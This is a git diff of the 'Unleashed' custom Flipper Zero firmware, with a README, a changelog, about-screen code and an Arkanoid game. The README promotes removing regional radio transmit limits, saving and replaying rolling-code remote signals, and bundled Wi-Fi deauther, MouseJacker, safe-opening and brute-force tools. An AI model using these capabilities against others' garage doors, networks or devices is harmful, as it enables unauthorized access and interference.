cask "gcc-arm-embedded"
|
||||
cask "brew-cask/gcc-arm-embedded.rb"
|
||||
brew "protobuf"
|
||||
brew "gdb"
|
||||
brew "open-ocd"
|
||||
brew "clang-format"
|
||||
brew "dfu-util"
|
||||
brew "protobuf-c"
|
||||
|
|
19
CHANGELOG.md
Normal file
19
CHANGELOG.md
Normal file
|
@ -0,0 +1,19 @@
|
|||
### New changes
|
||||
* Universal Remote for ACs and Audio(soundbars, etc..) / + updated audio universal remote file
|
||||
* Added wav player
|
||||
* Games fixes and improvements
|
||||
* OFW: SubGhz: add protocol BERNER / ELKA / TEDSEN / TELETASTER / Doitrand / Marantec / Phoenix V2 (static mode) / Phox (static mode), fix Princeton
|
||||
* OFW: NFC: Add Skylanders support
|
||||
* OFW: NFC: Add a Mifare Classic info screen to parser output
|
||||
* OFW: Mifare Ultralight authentication
|
||||
* OFW: other changes
|
||||
|
||||
**Note: Prefer installing using web updater or by self update package**
|
||||
|
||||
Self-update package (update from microSD) - `flipper-z-f7-update-(version).zip`
|
||||
|
||||
DFU for update using qFlipper - `flipper-z-f7-full-(version).dfu`
|
||||
|
||||
If using DFU update method, download this archive and unpack it to your microSD, replacing all files except files you have edited manually -
|
||||
`sd-card-(version).zip`
|
||||
|
|
@ -1,72 +0,0 @@
|
|||
# Welcome to FlipperZero contributing guide <!-- omit in toc -->
|
||||
|
||||
Thank you for investing your time in contributing to our project!
|
||||
|
||||
Read our [Code of Coduct](CODE_OF_CONDUCT.md) to keep our community approachable and respectable.
|
||||
|
||||
In this guide you will get an overview of the contribution workflow from opening an issue, creating a PR, reviewing, and merging the PR.
|
||||
|
||||
## New contributor guide
|
||||
|
||||
See the [ReadMe](ReadMe.md) to get an overview of the project. Here are some helpful resources to get you comfortable with open source contribution:
|
||||
|
||||
- [Finding ways to contribute to open source on GitHub](https://docs.github.com/en/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github)
|
||||
- [Set up Git](https://docs.github.com/en/get-started/quickstart/set-up-git)
|
||||
- [GitHub flow](https://docs.github.com/en/get-started/quickstart/github-flow)
|
||||
- [Collaborating with pull requests](https://docs.github.com/en/github/collaborating-with-pull-requests)
|
||||
|
||||
## Getting started
|
||||
|
||||
Before writing code and creating PR make sure that it aligns with our mission and guidlines:
|
||||
|
||||
- All our devices are intended for research and education.
|
||||
- PR that contains code intended to commit crimes is not going to be accepted.
|
||||
- Your PR must comply with our [Coding Style](CODING_STYLE.md)
|
||||
- Your PR must contain code compatiable with project [LICENSE](LICENSE).
|
||||
- PR will only be merged if it pass CI/CD.
|
||||
- PR will only be merged if it pass review by code owner.
|
||||
|
||||
Feel free to ask questions in issues if you're not sure.
|
||||
|
||||
### Issues
|
||||
|
||||
#### Create a new issue
|
||||
|
||||
If you found a problem, [search if an issue already exists](https://docs.github.com/en/github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests#search-by-the-title-body-or-comments). If a related issue doesn't exist, you can open a new issue using a relevant [issue form](https://github.com/flipperdevices/flipperzero-firmware/issues/new/choose).
|
||||
|
||||
#### Solve an issue
|
||||
|
||||
Scan through our [existing issues](https://github.com/flipperdevices/flipperzero-firmware/issues) to find one that interests you.
|
||||
|
||||
### Make Changes
|
||||
|
||||
1. Fork the repository.
|
||||
- Using GitHub Desktop:
|
||||
- [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop.
|
||||
- Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)!
|
||||
|
||||
- Using the command line:
|
||||
- [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them.
|
||||
|
||||
2. Install build requirements
|
||||
|
||||
3. Create a working branch and start with your changes!
|
||||
|
||||
### Commit your update
|
||||
|
||||
Commit the changes once you are happy with them. Make sure that code compilation is not broken and passes tests. Check syntax and formatting.
|
||||
|
||||
### Pull Request
|
||||
|
||||
When you're done making the changes, open a pull request, often referred to as a PR.
|
||||
- Fill out the "Ready for review" template so we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request.
|
||||
- Don't forget to [link PR to issue](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) if you are solving one.
|
||||
- Enable the checkbox to [allow maintainer edits](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork) so the branch can be updated for a merge.
|
||||
Once you submit your PR, a Docs team member will review your proposal. We may ask questions or request for additional information.
|
||||
- We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch.
|
||||
- As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations).
|
||||
- If you run into any merge issues, checkout this [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) to help you resolve merge conflicts and other issues.
|
||||
|
||||
### Your PR is merged!
|
||||
|
||||
Congratulations :tada::tada: The FlipperDevices team thanks you :sparkles:.
|
203
ReadMe.md
203
ReadMe.md
|
@ -1,155 +1,139 @@
|
|||
# Flipper Zero Firmware
|
||||
# Flipper Zero Unleashed Firmware
|
||||
|
||||
[![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](http://flipperzero.one/discord)
|
||||
<a href="https://ibb.co/wQ12PVc"><img src="https://i.ibb.co/wQ12PVc/fzCUSTOM.png" alt="fzCUSTOM" border="0"></a>
|
||||
|
||||
![Show me the code](https://habrastorage.org/webt/eo/m0/e4/eom0e4btudte7nrhnyic-laiog0.png)
|
||||
Welcome to Flipper Zero's Custom Firmware repo!
|
||||
Our goal is to make any features possible in this device without any limitations!
|
||||
|
||||
Welcome to [Flipper Zero](https://flipperzero.one/)'s Firmware repo!
|
||||
Our goal is to create nice and clean code with good documentation, to make it a pleasure for everyone to work with.
|
||||
Please help us implement emulation for all subghz dynamic (rolling code) protocols and static code brute-force app!
|
||||
|
||||
# Clone the Repository
|
||||
<br>
|
||||
|
||||
You should clone with
|
||||
```shell
|
||||
$ git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
|
||||
```
|
||||
|
||||
# Update firmware
|
||||
### This software is for experimental purposes only and is not meant for any illegal activity/purposes. <br> We do not condone illegal activity and strongly encourage keeping transmissions to legal/valid uses allowed by law. <br> Also this software is made without any support from Flipper Devices and in no way related to official devs.
|
||||
|
||||
[Get Latest Firmware from Update Server](https://update.flipperzero.one/)
|
||||
|
||||
Flipper Zero's firmware consists of two components:
|
||||
<br>
|
||||
Our Discord Community:
|
||||
<br>
|
||||
<a href="https://discord.gg/58D6E8BtTU"><img src="https://discordapp.com/api/guilds/937479784148115456/widget.png?style=banner4" alt="Unofficial Discord Community"></a>
|
||||
|
||||
- Core2 firmware set - proprietary components by ST: FUS + radio stack. FUS is flashed at factory and you should never update it.
|
||||
- Core1 Firmware - HAL + OS + Drivers + Applications.
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
They both must be flashed in the order described.
|
||||
# What's changed
|
||||
* SubGHz regional TX restrictions removed
|
||||
* SubGHz frequecy range can be extended in settings file (Warning: It can damage flipper's hardware)
|
||||
* Many rolling code protocols now have the ability to save & send captured signals
|
||||
* FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation
|
||||
* Custom community plugins and games added
|
||||
* Extra SubGHz frequencies + extra Mifare Classic keys
|
||||
* Picopass/iClass plugin included in releases
|
||||
* Recompiled IR TV Universal Remote for ALL buttons
|
||||
* Universal A/C and Audio(soundbars, etc.) remote
|
||||
* Other small fixes and changes throughout
|
||||
|
||||
## With offline update package
|
||||
See changelog in releases for latest updates!
|
||||
|
||||
With Flipper attached over USB:
|
||||
### Current modified and new SubGhz protocols list:
|
||||
- HCS101
|
||||
- An-Motors
|
||||
- CAME Atomo
|
||||
- FAAC SLH (Spa) [if cloning existing remote - external seed calculation required]
|
||||
- BFT Mitto [if cloning existing remote - external seed calculation required]
|
||||
- Keeloq (+ proper manufacturer codes selection) [Not ALL systems supported yet!]
|
||||
- Nice Flor S
|
||||
- Security+ v1 & v2
|
||||
- Star Line
|
||||
|
||||
`./fbt flash_usb`
|
||||
### Community apps included:
|
||||
|
||||
Just building the package:
|
||||
- ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module)
|
||||
- WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module)
|
||||
- WAV player plugin (fixed) [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player)
|
||||
- UPC-A Barcode generator plugin [(by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator)
|
||||
- GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin)
|
||||
- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion)
|
||||
- NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker)
|
||||
- HID Analyzer [(by Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer)
|
||||
- Simple Clock (fixed) !! New version WIP, wait for updates !! [(Original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61)
|
||||
- UniversalRF Remix (with changes)(only RAW subghz files) [(by ESurge)(Original UniversalRF by jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix)
|
||||
- Tetris (with fixes) [(by jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game)
|
||||
- Spectrum Analyzer (with changes) [(by jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman)
|
||||
- Arkanoid (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins)
|
||||
- Tic Tac Toe (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins)
|
||||
|
||||
`./fbt updater_package`
|
||||
### Other changes
|
||||
|
||||
To update, copy the resulting directory to Flipper's SD card and navigate to `update.fuf` file in Archive app.
|
||||
- BadUSB Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout)
|
||||
- New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM)
|
||||
|
||||
## With STLink
|
||||
## Support us so we can buy equipment and develop new features
|
||||
* ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a`
|
||||
* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9`
|
||||
* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv`
|
||||
* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9`
|
||||
|
||||
### Core1 Firmware
|
||||
**Big thanks to all sponsors!**
|
||||
|
||||
Prerequisites:
|
||||
# Instructions
|
||||
## [- How to install firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md)
|
||||
|
||||
- Linux / macOS
|
||||
- Terminal
|
||||
- [arm-gcc-none-eabi](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads)
|
||||
- openocd
|
||||
## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToBuild.md)
|
||||
|
||||
One liner: `./fbt firmware_flash`
|
||||
## [- BadUSB: how to add new keyboard layouts](https://github.com/dummy-decoy/flipperzero_badusb_kl)
|
||||
|
||||
## With USB DFU
|
||||
### **Plugins**
|
||||
|
||||
1. Download latest [Firmware](https://update.flipperzero.one)
|
||||
## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md)
|
||||
|
||||
2. Reboot Flipper to Bootloader
|
||||
- Press and hold `← Left` + `↩ Back` for reset
|
||||
- Release `↩ Back` and keep holding `← Left` until blue LED lights up
|
||||
- Release `← Left`
|
||||
## [- Barcode Generator](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md)
|
||||
|
||||
3. Run `dfu-util -D full.dfu -a 0`
|
||||
## [- WAV Player sample files & how to convert](https://github.com/UberGuidoZ/Flipper/tree/main/Wav_Player#readme)
|
||||
|
||||
# Build with Docker
|
||||
### **Plugins that works with external hardware**
|
||||
|
||||
## Prerequisites
|
||||
## [- How to use: [NRF24] plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md)
|
||||
|
||||
1. Install [Docker Engine and Docker Compose](https://www.docker.com/get-started)
|
||||
2. Prepare the container:
|
||||
## [- How to use: [WiFi] Scanner](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module#readme)
|
||||
|
||||
```sh
|
||||
docker-compose up -d
|
||||
```
|
||||
## [- How to use: [ESP8266] Deauther](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module#readme)
|
||||
|
||||
## Compile everything
|
||||
## [- How to use: [ESP32] WiFi Marauder](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard)
|
||||
|
||||
```sh
|
||||
docker-compose exec dev ./fbt
|
||||
```
|
||||
## [- [WiFi] Scanner - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-WiFi-Scanner_Module/)
|
||||
|
||||
Check `dist/` for build outputs.
|
||||
## [- [ESP8266] Deauther - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-Wifi-ESP8266-Deauther-Module/)
|
||||
|
||||
Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device.
|
||||
## [- Windows: How to Upload .bin to ESP32/ESP8266](https://github.com/SequoiaSan/Guide-How-To-Upload-bin-to-ESP8266-ESP32)
|
||||
|
||||
If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`.
|
||||
## [- How to use: [GPIO] SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md)
|
||||
|
||||
# Build on Linux/macOS
|
||||
### **SubGHz**
|
||||
|
||||
Check out `documentation/fbt.md` for details on building and flashing firmware.
|
||||
## [- Transmission is blocked? - How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md)
|
||||
|
||||
## macOS Prerequisites
|
||||
## [- How to add extra SubGHz frequencies](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SubGHzSettings.md)
|
||||
|
||||
Make sure you have [brew](https://brew.sh) and install all the dependencies:
|
||||
```sh
|
||||
brew bundle --verbose
|
||||
```
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Linux Prerequisites
|
||||
# Where I can find IR, SubGhz, ... files, DBs, and other stuff?
|
||||
## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero)
|
||||
## [UberGuidoZ Playground - Large collection of files - Github](https://github.com/UberGuidoZ/Flipper)
|
||||
## [CAME, NICE, PT-2240, PT-2262 - SubGHz fixed code bruteforce](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### gcc-arm-none-eabi
|
||||
|
||||
```sh
|
||||
toolchain="gcc-arm-none-eabi-10.3-2021.10"
|
||||
toolchain_package="$toolchain-$(uname -m)-linux"
|
||||
|
||||
wget -P /opt "https://developer.arm.com/-/media/Files/downloads/gnu-rm/10.3-2021.10/$toolchain_package.tar.bz2"
|
||||
|
||||
tar xjf /opt/$toolchain_package.tar.bz2 -C /opt
|
||||
rm /opt/$toolchain_package.tar.bz2
|
||||
|
||||
for file in /opt/$toolchain/bin/* ; do ln -s "${file}" "/usr/bin/$(basename ${file})" ; done
|
||||
```
|
||||
|
||||
### Optional dependencies
|
||||
|
||||
- openocd (debugging/flashing over SWD)
|
||||
- heatshrink (compiling image assets)
|
||||
- clang-format (code formatting)
|
||||
- dfu-util (flashing over USB DFU)
|
||||
- protobuf (compiling proto sources)
|
||||
|
||||
For example, to install them on Debian, use:
|
||||
```sh
|
||||
apt update
|
||||
apt install openocd clang-format-13 dfu-util protobuf-compiler
|
||||
```
|
||||
|
||||
heatshrink has to be compiled [from sources](https://github.com/atomicobject/heatshrink).
|
||||
|
||||
## Compile everything
|
||||
|
||||
```sh
|
||||
./fbt
|
||||
```
|
||||
|
||||
Check `dist/` for build outputs.
|
||||
|
||||
Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device.
|
||||
|
||||
## Flash everything
|
||||
|
||||
Connect your device via ST-Link and run:
|
||||
```sh
|
||||
./fbt firmware_flash
|
||||
```
|
||||
<br>
|
||||
<br>
|
||||
|
||||
# Links
|
||||
|
||||
* Discord: [flipp.dev/discord](https://flipp.dev/discord)
|
||||
* Website: [flipperzero.one](https://flipperzero.one)
|
||||
* Kickstarter page: [kickstarter.com](https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers)
|
||||
* Forum: [forum.flipperzero.one](https://forum.flipperzero.one/)
|
||||
* Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU)
|
||||
* Docs by atmanos / How to write your own app (outdated API): [https://flipper.atmanos.com/docs/overview/intro](https://flipper.atmanos.com/docs/overview/intro)
|
||||
|
||||
* Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one)
|
||||
* Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/)
|
||||
|
||||
# Project structure
|
||||
|
||||
|
@ -161,6 +145,7 @@ Connect your device via ST-Link and run:
|
|||
- `documentation` - Documentation generation system configs and input files
|
||||
- `firmware` - Firmware source code
|
||||
- `lib` - Our and 3rd party libraries, drivers and etc...
|
||||
- `site_scons` - Build helpers
|
||||
- `scripts` - Supplementary scripts and python libraries home
|
||||
|
||||
Also pay attention to `ReadMe.md` files inside of those directories.
|
||||
|
|
51
RoadMap.md
51
RoadMap.md
|
@ -1,51 +0,0 @@
|
|||
# RoadMap
|
||||
|
||||
# Where we are (0.x.x branch)
|
||||
|
||||
Our goal for 0.x.x branch is to build stable usable apps and API.
|
||||
First public release that we support in this branch is 0.43.1. Your device most likely came with this version.
|
||||
You can develop applications but keep in mind that API is not final yet.
|
||||
|
||||
## What's already implemented
|
||||
|
||||
**Applications**
|
||||
|
||||
- SubGhz: all most common protocols, reading RAW for everything else
|
||||
- 125kHz RFID: all most common protocols
|
||||
- NFC: reading/emulating Mifare Ultralight, reading MiFare Classic and DESFire, basic EMV, basic NFC-B,F,V
|
||||
- Infrared: all most common RC protocols, RAW format for everything else
|
||||
- GPIO: UART bridge, basic GPIO controls
|
||||
- iButton: DS1990, Cyfral, Metacom
|
||||
- Bad USB: Full USB Rubber Ducky support, some extras for windows alt codes
|
||||
- U2F: Full U2F specification support
|
||||
|
||||
**Extras**
|
||||
|
||||
- BLE Keyboard
|
||||
- Snake game
|
||||
|
||||
**System and HAL**
|
||||
|
||||
- Furi Core
|
||||
- Furi HAL
|
||||
|
||||
# Where we're going (Version 1)
|
||||
|
||||
Main goal for 1.0.0 is to provide first stable version for both Users and Developers.
|
||||
|
||||
## What we're planning to implement in 1.0.0
|
||||
|
||||
- Loading applications from SD (tested as PoC, work scheduled for Q2)
|
||||
- More protocols (gathering feedback)
|
||||
- User documentation (work in progress)
|
||||
- FuriCore: get rid of CMSIS API, replace hard real time timers, improve stability and performance (work in progress)
|
||||
- FuriHal: deep sleep mode, stable API, examples, documentation (work in progress)
|
||||
- Application improvements (a ton of things that we want to add and improve that are too numerous to list here)
|
||||
|
||||
## When will it happen and where I can see the progress?
|
||||
|
||||
Release 1.0.0 will most likely happen around the end of Q3
|
||||
|
||||
Development progress can be tracked in our public Miro board:
|
||||
|
||||
https://miro.com/app/board/uXjVO_3D6xU=/?moveToWidget=3458764522498020058&cot=14
|
|
@ -55,6 +55,37 @@ static DialogMessageButton compliance_screen(DialogsApp* dialogs, DialogMessage*
|
|||
return result;
|
||||
}
|
||||
|
||||
static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMessage* message) {
|
||||
DialogMessageButton result;
|
||||
|
||||
const char* screen_header = "Unleashed Firmware\n";
|
||||
|
||||
const char* screen_text = "Play with caution.\n"
|
||||
"Not for illegal use!";
|
||||
|
||||
dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop);
|
||||
dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop);
|
||||
result = dialog_message_show(dialogs, message);
|
||||
dialog_message_set_header(message, NULL, 0, 0, AlignLeft, AlignTop);
|
||||
dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static DialogMessageButton unleashed_info_screen2(DialogsApp* dialogs, DialogMessage* message) {
|
||||
DialogMessageButton result;
|
||||
|
||||
const char* screen_text = "Custom plugins included\n"
|
||||
"For updates & info visit\n"
|
||||
"github.com/Eng1n33r";
|
||||
|
||||
dialog_message_set_text(message, screen_text, 0, 0, AlignLeft, AlignTop);
|
||||
result = dialog_message_show(dialogs, message);
|
||||
dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static DialogMessageButton icon1_screen(DialogsApp* dialogs, DialogMessage* message) {
|
||||
DialogMessageButton result;
|
||||
|
||||
|
@ -144,6 +175,8 @@ static DialogMessageButton fw_version_screen(DialogsApp* dialogs, DialogMessage*
|
|||
}
|
||||
|
||||
const AboutDialogScreen about_screens[] = {
|
||||
unleashed_info_screen,
|
||||
unleashed_info_screen2,
|
||||
product_screen,
|
||||
compliance_screen,
|
||||
address_screen,
|
||||
|
|
|
@ -42,6 +42,12 @@ extern const size_t FLIPPER_ON_SYSTEM_START_COUNT;
|
|||
extern const FlipperApplication FLIPPER_PLUGINS[];
|
||||
extern const size_t FLIPPER_PLUGINS_COUNT;
|
||||
|
||||
/* Games list
|
||||
* Spawned by loader
|
||||
*/
|
||||
extern const FlipperApplication FLIPPER_GAMES[];
|
||||
extern const size_t FLIPPER_GAMES_COUNT;
|
||||
|
||||
/* Debug menu apps
|
||||
* Spawned by loader
|
||||
*/
|
||||
|
|
10
applications/arkanoid/application.fam
Normal file
10
applications/arkanoid/application.fam
Normal file
|
@ -0,0 +1,10 @@
|
|||
App(
|
||||
appid="arkanoid_game",
|
||||
name="Arkanoid",
|
||||
apptype=FlipperAppType.GAME,
|
||||
entry_point="arkanoid_game_app",
|
||||
cdefines=["APP_ARKANOID_GAME"],
|
||||
requires=["gui"],
|
||||
stack_size=4 * 1024,
|
||||
order=30,
|
||||
)
|
456
applications/arkanoid/arkanoid_game.c
Normal file
456
applications/arkanoid/arkanoid_game.c
Normal file
|
@ -0,0 +1,456 @@
|
|||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
#include <gui/view.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
|
||||
#define TAG "Arkanoid"
|
||||
|
||||
#define FLIPPER_LCD_WIDTH 128
|
||||
#define FLIPPER_LCD_HEIGHT 64
|
||||
|
||||
typedef enum { EventTypeTick, EventTypeKey } EventType;
|
||||
|
||||
typedef struct {
|
||||
//Brick Bounds used in collision detection
|
||||
int leftBrick;
|
||||
int rightBrick;
|
||||
int topBrick;
|
||||
int bottomBrick;
|
||||
bool isHit[4][13]; //Array of if bricks are hit or not
|
||||
} BrickState;
|
||||
|
||||
typedef struct {
|
||||
int dx; //Initial movement of ball
|
||||
int dy; //Initial movement of ball
|
||||
int xb; //Balls starting possition
|
||||
int yb; //Balls starting possition
|
||||
bool released; //If the ball has been released by the player
|
||||
//Ball Bounds used in collision detection
|
||||
int leftBall;
|
||||
int rightBall;
|
||||
int topBall;
|
||||
int bottomBall;
|
||||
} BallState;
|
||||
|
||||
typedef struct {
|
||||
BallState ball_state;
|
||||
BrickState brick_state;
|
||||
NotificationApp* notify;
|
||||
unsigned int COLUMNS; //Columns of bricks
|
||||
unsigned int ROWS; //Rows of bricks
|
||||
bool initialDraw; //If the inital draw has happened
|
||||
int xPaddle; //X position of paddle
|
||||
char text[16]; //General string buffer
|
||||
bool bounced; //Used to fix double bounce glitch
|
||||
int lives; //Amount of lives
|
||||
int level; //Current level
|
||||
unsigned int score; //Score for the game
|
||||
unsigned int brickCount; //Amount of bricks hit
|
||||
int tick; //Tick counter
|
||||
} ArkanoidState;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} GameEvent;
|
||||
|
||||
static const NotificationSequence sequence_short_sound = {
|
||||
&message_note_c5,
|
||||
&message_delay_50,
|
||||
&message_sound_off,
|
||||
NULL,
|
||||
};
|
||||
|
||||
// generate number in range [min,max)
|
||||
int rand_range(int min, int max) {
|
||||
int number = min + rand() % (max - min);
|
||||
return number;
|
||||
}
|
||||
|
||||
void move_ball(Canvas* canvas, ArkanoidState* st) {
|
||||
st->tick++;
|
||||
if(st->ball_state.released) {
|
||||
//Move ball
|
||||
if(abs(st->ball_state.dx) == 2) {
|
||||
st->ball_state.xb += st->ball_state.dx / 2;
|
||||
// 2x speed is really 1.5 speed
|
||||
if(st->tick % 2 == 0) st->ball_state.xb += st->ball_state.dx / 2;
|
||||
} else {
|
||||
st->ball_state.xb += st->ball_state.dx;
|
||||
}
|
||||
st->ball_state.yb = st->ball_state.yb + st->ball_state.dy;
|
||||
|
||||
//Set bounds
|
||||
st->ball_state.leftBall = st->ball_state.xb;
|
||||
st->ball_state.rightBall = st->ball_state.xb + 2;
|
||||
st->ball_state.topBall = st->ball_state.yb;
|
||||
st->ball_state.bottomBall = st->ball_state.yb + 2;
|
||||
|
||||
//Bounce off top edge
|
||||
if(st->ball_state.yb <= 0) {
|
||||
st->ball_state.yb = 2;
|
||||
st->ball_state.dy = -st->ball_state.dy;
|
||||
}
|
||||
|
||||
//Lose a life if bottom edge hit
|
||||
if(st->ball_state.yb >= FLIPPER_LCD_HEIGHT) {
|
||||
canvas_draw_frame(canvas, st->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
|
||||
st->xPaddle = 54;
|
||||
st->ball_state.yb = 60;
|
||||
st->ball_state.released = false;
|
||||
st->lives--;
|
||||
|
||||
if(rand_range(0, 2) == 0) {
|
||||
st->ball_state.dx = 1;
|
||||
} else {
|
||||
st->ball_state.dx = -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Bounce off left side
|
||||
if(st->ball_state.xb <= 0) {
|
||||
st->ball_state.xb = 2;
|
||||
st->ball_state.dx = -st->ball_state.dx;
|
||||
}
|
||||
|
||||
//Bounce off right side
|
||||
if(st->ball_state.xb >= FLIPPER_LCD_WIDTH - 2) {
|
||||
st->ball_state.xb = FLIPPER_LCD_WIDTH - 4;
|
||||
st->ball_state.dx = -st->ball_state.dx;
|
||||
// arduboy.tunes.tone(523, 250);
|
||||
}
|
||||
|
||||
//Bounce off paddle
|
||||
if(st->ball_state.xb + 1 >= st->xPaddle && st->ball_state.xb <= st->xPaddle + 12 &&
|
||||
st->ball_state.yb + 2 >= FLIPPER_LCD_HEIGHT - 1 &&
|
||||
st->ball_state.yb <= FLIPPER_LCD_HEIGHT) {
|
||||
st->ball_state.dy = -st->ball_state.dy;
|
||||
st->ball_state.dx =
|
||||
((st->ball_state.xb - (st->xPaddle + 6)) / 3); //Applies spin on the ball
|
||||
// prevent straight bounce, but not prevent roguuemaster from stealing
|
||||
if(st->ball_state.dx == 0) {
|
||||
st->ball_state.dx = (rand_range(0, 2) == 1) ? 1 : -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Bounce off Bricks
|
||||
for(unsigned int row = 0; row < st->ROWS; row++) {
|
||||
for(unsigned int column = 0; column < st->COLUMNS; column++) {
|
||||
if(!st->brick_state.isHit[row][column]) {
|
||||
//Sets Brick bounds
|
||||
st->brick_state.leftBrick = 10 * column;
|
||||
st->brick_state.rightBrick = 10 * column + 10;
|
||||
st->brick_state.topBrick = 6 * row + 1;
|
||||
st->brick_state.bottomBrick = 6 * row + 7;
|
||||
|
||||
//If A collison has occured
|
||||
if(st->ball_state.topBall <= st->brick_state.bottomBrick &&
|
||||
st->ball_state.bottomBall >= st->brick_state.topBrick &&
|
||||
st->ball_state.leftBall <= st->brick_state.rightBrick &&
|
||||
st->ball_state.rightBall >= st->brick_state.leftBrick) {
|
||||
st->score += st->level;
|
||||
// Blink led when we hit some brick
|
||||
notification_message(st->notify, &sequence_short_sound);
|
||||
//notification_message(st->notify, &sequence_blink_white_100);
|
||||
|
||||
st->brickCount++;
|
||||
st->brick_state.isHit[row][column] = true;
|
||||
canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4);
|
||||
|
||||
//Vertical collision
|
||||
if(st->ball_state.bottomBall > st->brick_state.bottomBrick ||
|
||||
st->ball_state.topBall < st->brick_state.topBrick) {
|
